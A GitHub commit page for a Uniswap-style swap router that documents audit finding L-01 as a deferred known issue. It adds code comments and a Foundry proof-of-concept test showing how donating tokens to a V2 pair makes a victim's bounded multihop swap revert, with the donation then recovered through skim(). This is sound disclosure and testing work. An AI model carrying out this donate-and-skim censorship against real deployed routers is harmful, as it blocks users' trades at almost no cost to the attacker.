Skip to content

Commit e487893

Browse files
dianakocsisclaude
andcommitted
docs: record the V2 per-hop bound donation limitation as a known issue
Audit finding L-01 (Low). The per-hop bound in _v2Swap divides by `balanceOf(pair) - reserveInput`, which counts tokens any third party can transfer to the pair. A larger apparent trade earns a worse average rate, so a donation drives the measured price under minHopPriceX36 and reverts a bounded route. The pair's permissionless skim() returns the donation afterwards, so censorship costs the attacker only gas and ordering. No funds are at risk and the bound never lets bad execution through -- the failure is a spurious revert, which is why this is Low. Deferring the fix rather than shipping it now: the correct primitive requires routing to emit different per-hop values, the encoding migration needs deciding (the field's meaning would change without its type changing), and we are close to the bytecode limit. Documenting here and fixing in the next version. Adds executable documentation: - V2PerHopDonationPoC.t.sol -- single hop. Shows the donation strictly improves the victim's output when unbounded, censors the same swap when bounded, and is fully recovered via skim(). Also shows attack cost scales with pool reserves rather than the victim's trade size. - V2PerHopDonationMultihop.t.sol -- two hops, with hop 0's bound set to zero and only hop 1 bounded. The route is still censored, at hop 1, whose own pair was never touched. This is the case that rules out input attribution as a fix: hop 0 swaps the donation, so hop 1 receives genuinely more input and honestly measures a worse rate. 50 bps of pair0's reserves censors a 10 ether trade, and B reaching pair1 goes 9.96 -> 60.41. Also notes the related V3 exposure: when amountIn == CONTRACT_BALANCE the router seeds amountIn from its own balance, so a donation to the router enlarges the trade the same way and SWEEP makes it recoverable. V3's per-hop denominator is itself sound; it divides by the pool's callback amountToPay. Comments only in contracts/, so bytecode is unchanged. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
1 parent fb25ff0 commit e487893

5 files changed

Lines changed: 586 additions & 0 deletions

File tree

contracts/modules/uniswap/v2/V2SwapRouter.sol

Lines changed: 14 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -30,6 +30,14 @@ abstract contract V2SwapRouter is UniswapImmutables, Permit2Payments {
3030
(uint256 reserve0, uint256 reserve1,) = IUniswapV2Pair(pair).getReserves();
3131
(uint256 reserveInput, uint256 reserveOutput) =
3232
input == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
33+
// KNOWN ISSUE (audit L-01, fix deferred): amountInput is the pair's whole balance
34+
// excess, so it counts tokens any third party transferred in. A larger apparent trade
35+
// earns a worse average rate, so a donation drives the price below minHopPriceX36 and
36+
// reverts a bounded route; the pair's permissionless skim() then returns the donation.
37+
// No funds are at risk, the effect is censorship of routes that set a nonzero bound.
38+
// Attributing the caller's own input does not close it on multihop routes: hop 0 swaps
39+
// the donation, so hop 1 receives genuinely more input and honestly measures a worse
40+
// rate. See test/foundry-tests/V2PerHopDonationMultihop.t.sol.
3341
uint256 amountInput = ERC20(input).balanceOf(pair) - reserveInput;
3442
uint256 amountOutput = UniswapV2Library.getAmountOut(amountInput, reserveInput, reserveOutput);
3543
(uint256 amount0Out, uint256 amount1Out) =
@@ -64,6 +72,9 @@ abstract contract V2SwapRouter is UniswapImmutables, Permit2Payments {
6472
/// @param path The path of the trade as an array of token addresses
6573
/// @param payer The address that will be paying the input
6674
/// @param minHopPriceX36 Per-hop minimum price array in 1e36 precision (empty to disable)
75+
/// @dev KNOWN ISSUE (audit L-01, fix deferred): a nonzero bound can be tripped by anyone
76+
/// transferring tokens to a pair in the path, censoring the route at no net cost to them. See
77+
/// the note in _v2Swap.
6778
function v2SwapExactInput(
6879
address recipient,
6980
uint256 amountIn,
@@ -101,6 +112,9 @@ abstract contract V2SwapRouter is UniswapImmutables, Permit2Payments {
101112
/// @param path The path of the trade as an array of token addresses
102113
/// @param payer The address that will be paying the input
103114
/// @param minHopPriceX36 Per-hop minimum price array in 1e36 precision (empty to disable)
115+
/// @dev KNOWN ISSUE (audit L-01, fix deferred): a nonzero bound can be tripped by anyone
116+
/// transferring tokens to a pair in the path, censoring the route at no net cost to them. See
117+
/// the note in _v2Swap.
104118
function v2SwapExactOutput(
105119
address recipient,
106120
uint256 amountOut,

contracts/modules/uniswap/v3/V3SwapRouter.sol

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -112,6 +112,11 @@ abstract contract V3SwapRouter is UniswapImmutables, Permit2Payments, IUniswapV3
112112
) revert V3HopPriceAndPathLengthMismatch();
113113

114114
// use amountIn == ActionConstants.CONTRACT_BALANCE as a flag to swap the entire balance of the contract
115+
// KNOWN ISSUE (related to audit L-01, fix deferred): balanceOf includes tokens any third party
116+
// sent to the router, so a donation enlarges the trade. The larger trade earns a worse average
117+
// rate, which can trip minHopPriceX36 and revert the route, and SWEEP takes an arbitrary
118+
// recipient so the donation is recoverable. V3's per-hop denominator is itself sound: it
119+
// divides by the pool's callback amountToPay, not by a balance.
115120
if (amountIn == ActionConstants.CONTRACT_BALANCE) {
116121
address tokenIn = path.decodeFirstToken();
117122
amountIn = ERC20(tokenIn).balanceOf(address(this));
Lines changed: 202 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,202 @@
1+
// SPDX-License-Identifier: UNLICENSED
2+
pragma solidity ^0.8.24;
3+
4+
import 'forge-std/Test.sol';
5+
import {UniversalRouter} from '../../contracts/UniversalRouter.sol';
6+
import {V2SwapRouter} from '../../contracts/modules/uniswap/v2/V2SwapRouter.sol';
7+
import {UniswapV2Library} from '../../contracts/modules/uniswap/v2/UniswapV2Library.sol';
8+
import {Commands} from '../../contracts/libraries/Commands.sol';
9+
import {Constants} from '../../contracts/libraries/Constants.sol';
10+
import {RouterParameters} from '../../contracts/types/RouterParameters.sol';
11+
import {MockERC20} from './mock/MockERC20.sol';
12+
import {MockV2Pair, MockV2Factory} from './mock/MockV2Pair.sol';
13+
14+
/// @notice KNOWN ISSUE, documented rather than fixed. Multihop counterpart to V2PerHopDonationPoC.
15+
///
16+
/// The single-hop PoC shows a donation to the swapped pair inflating that hop's price denominator.
17+
/// This file covers the case that decides whether input attribution can fix it: a donation to
18+
/// pair 0 of a two-hop route, with hop 0's bound DISABLED and only hop 1's bound set.
19+
///
20+
/// Hop 0 swaps the donation, so the proceeds physically arrive at pair 1. Hop 1 therefore receives
21+
/// genuinely more input and honestly measures a worse rate. Attributing the victim's share of
22+
/// hop 0's input fixes hop 0 and leaves hop 1 open, and censorship needs only one hop to fail.
23+
///
24+
/// See contracts/modules/uniswap/v2/V2SwapRouter.sol for the deferred-fix note.
25+
contract V2PerHopDonationMultihopTest is Test {
26+
uint256 constant R0_A = 10_000 ether; // pair0 reserves, A side
27+
uint256 constant R0_B = 10_000 ether; // pair0 reserves, B side
28+
uint256 constant R1_B = 10_000 ether; // pair1 reserves, B side
29+
uint256 constant R1_C = 20_000 ether; // pair1 reserves, C side
30+
31+
uint256 constant SWAP_IN = 10 ether;
32+
uint256 constant TOLERANCE_BPS = 50; // 0.50% per-hop tolerance
33+
34+
address constant VICTIM = address(0x1C71);
35+
address constant ATTACKER = address(0xA77ACC);
36+
address constant RECIPIENT = address(0xBEEF);
37+
38+
UniversalRouter router;
39+
MockV2Factory factory;
40+
MockERC20 tokenA;
41+
MockERC20 tokenB;
42+
MockERC20 tokenC;
43+
MockV2Pair pair0; // A/B
44+
MockV2Pair pair1; // B/C
45+
46+
function setUp() public {
47+
tokenA = new MockERC20();
48+
tokenB = new MockERC20();
49+
tokenC = new MockERC20();
50+
51+
factory = new MockV2Factory();
52+
pair0 = MockV2Pair(factory.createPair(address(tokenA), address(tokenB)));
53+
pair1 = MockV2Pair(factory.createPair(address(tokenB), address(tokenC)));
54+
55+
tokenA.mint(address(pair0), R0_A);
56+
tokenB.mint(address(pair0), R0_B);
57+
pair0.sync();
58+
59+
tokenB.mint(address(pair1), R1_B);
60+
tokenC.mint(address(pair1), R1_C);
61+
pair1.sync();
62+
63+
RouterParameters memory params = RouterParameters({
64+
permit2: address(0xdead),
65+
weth9: address(0),
66+
v2Factory: address(factory),
67+
v3Factory: address(0),
68+
pairInitCodeHash: factory.pairInitCodeHash(),
69+
poolInitCodeHash: bytes32(0),
70+
v4PoolManager: address(0),
71+
permissionsAdapterFactory: address(0),
72+
v3NFTPositionManager: address(0),
73+
v4PositionManager: address(0),
74+
spokePool: address(0)
75+
});
76+
router = new UniversalRouter(params);
77+
}
78+
79+
function _path() internal view returns (address[] memory path) {
80+
path = new address[](3);
81+
path[0] = address(tokenA);
82+
path[1] = address(tokenB);
83+
path[2] = address(tokenC);
84+
}
85+
86+
function _trySwap(uint256 amountIn, uint256[] memory hopBounds) internal returns (bool ok, bytes memory ret) {
87+
tokenA.mint(address(router), amountIn);
88+
89+
bytes memory commands = abi.encodePacked(bytes1(uint8(Commands.V2_SWAP_EXACT_IN)));
90+
bytes[] memory inputs = new bytes[](1);
91+
inputs[0] = abi.encode(RECIPIENT, amountIn, uint256(0), _path(), false, hopBounds);
92+
93+
vm.prank(VICTIM);
94+
(ok, ret) = address(router).call(abi.encodeWithSignature('execute(bytes,bytes[])', commands, inputs));
95+
}
96+
97+
/// @dev Reserves ordered as (reserveIn, reserveOut) for a directional hop
98+
function _reserves(MockV2Pair p, address input) internal view returns (uint256 rIn, uint256 rOut) {
99+
(uint112 r0, uint112 r1,) = p.getReserves();
100+
(rIn, rOut) = input == p.token0() ? (uint256(r0), uint256(r1)) : (uint256(r1), uint256(r0));
101+
}
102+
103+
/// @dev What hop 1 measures as its input/output when `donation` sits at pair 0 beforehand
104+
function _hop1Measured(uint256 donation) internal view returns (uint256 hop1In, uint256 hop1Out) {
105+
(uint256 r0In, uint256 r0Out) = _reserves(pair0, address(tokenA));
106+
(uint256 r1In, uint256 r1Out) = _reserves(pair1, address(tokenB));
107+
hop1In = UniswapV2Library.getAmountOut(SWAP_IN + donation, r0In, r0Out);
108+
hop1Out = UniswapV2Library.getAmountOut(hop1In, r1In, r1Out);
109+
}
110+
111+
function _hop1Price(uint256 donation) internal view returns (uint256) {
112+
(uint256 hop1In, uint256 hop1Out) = _hop1Measured(donation);
113+
return hop1Out * Constants.PRICE_PRECISION / hop1In;
114+
}
115+
116+
/// @dev The hop-1 bound an honest router would compute from a clean quote
117+
function _honestHop1Bound() internal view returns (uint256) {
118+
return _hop1Price(0) * (10_000 - TOLERANCE_BPS) / 10_000;
119+
}
120+
121+
function _minimalCensoringDonation(uint256 minPrice) internal view returns (uint256) {
122+
uint256 lo = 0;
123+
uint256 hi = R0_A;
124+
require(_hop1Price(hi) < minPrice, 'no donation can censor at these params');
125+
while (lo < hi) {
126+
uint256 mid = (lo + hi) / 2;
127+
if (_hop1Price(mid) < minPrice) hi = mid;
128+
else lo = mid + 1;
129+
}
130+
return lo;
131+
}
132+
133+
/// @dev hop 0 disabled, hop 1 bounded -- isolates hop 1 as the failing check
134+
function _hop1Only(uint256 bound) internal pure returns (uint256[] memory a) {
135+
a = new uint256[](2);
136+
a[0] = 0;
137+
a[1] = bound;
138+
}
139+
140+
function _stripSelector(bytes memory data) internal pure returns (bytes memory out) {
141+
out = new bytes(data.length - 4);
142+
for (uint256 i; i < out.length; i++) {
143+
out[i] = data[i + 4];
144+
}
145+
}
146+
147+
function test_baseline_boundedMultihopRouteSucceeds() public {
148+
(bool ok,) = _trySwap(SWAP_IN, _hop1Only(_honestHop1Bound()));
149+
assertTrue(ok, 'honest bounded route should succeed');
150+
assertGt(tokenC.balanceOf(RECIPIENT), 0, 'victim received nothing');
151+
}
152+
153+
/// @notice The route is censored at hop 1, whose own pair was never touched. Hop 0's bound is
154+
/// zero here, so correcting hop 0's denominator could not have prevented this.
155+
function test_donationToPair0_censorsRouteAtHop1() public {
156+
uint256 minPrice = _honestHop1Bound();
157+
uint256 donation = _minimalCensoringDonation(minPrice);
158+
159+
emit log_named_decimal_uint('victim input ', SWAP_IN, 18);
160+
emit log_named_decimal_uint('minimal donation to pair 0 ', donation, 18);
161+
emit log_named_uint(' as bps of pair0 input reserve', donation * 10_000 / R0_A);
162+
163+
(uint256 honestHop1In,) = _hop1Measured(0);
164+
(uint256 attackedHop1In,) = _hop1Measured(donation);
165+
emit log_named_decimal_uint('B reaching pair1, honest ', honestHop1In, 18);
166+
emit log_named_decimal_uint('B reaching pair1, attacked ', attackedHop1In, 18);
167+
168+
tokenA.mint(ATTACKER, donation);
169+
uint256 attackerStart = tokenA.balanceOf(ATTACKER);
170+
171+
// tx1: donate to pair 0
172+
vm.prank(ATTACKER);
173+
tokenA.transfer(address(pair0), donation);
174+
175+
// tx2: the victim's route reverts at hop 1
176+
(bool ok, bytes memory ret) = _trySwap(SWAP_IN, _hop1Only(minPrice));
177+
assertFalse(ok, 'bounded route should have been censored');
178+
assertEq(
179+
bytes4(ret),
180+
V2SwapRouter.V2TooLittleReceivedPerHop.selector,
181+
'expected the per-hop bound to be what rejected the route'
182+
);
183+
(uint256 hopIndex,,) = abi.decode(_stripSelector(ret), (uint256, uint256, uint256));
184+
assertEq(hopIndex, 1, 'hop 1 should be the failing hop, not hop 0');
185+
assertEq(tokenC.balanceOf(RECIPIENT), 0, 'victim route should have been censored');
186+
187+
// tx3: the donation is still unsynced excess at pair 0, so skim returns it
188+
pair0.skim(ATTACKER);
189+
assertEq(tokenA.balanceOf(ATTACKER), attackerStart, 'attacker did not fully recover donation');
190+
191+
emit log_string('censored at hop 1 and recovered 100% of donated principal');
192+
}
193+
194+
/// @dev The donation increases what the route itself delivers to pair 1, so there is nothing
195+
/// foreign left at hop 1 for an attribution scheme to exclude.
196+
function test_donationIncreasesFlowThroughPair1() public view {
197+
uint256 donation = _minimalCensoringDonation(_honestHop1Bound());
198+
(uint256 honestHop1In,) = _hop1Measured(0);
199+
(uint256 attackedHop1In,) = _hop1Measured(donation);
200+
assertGt(attackedHop1In, honestHop1In, 'donation should increase input reaching pair 1');
201+
}
202+
}

0 commit comments

Comments
 (0)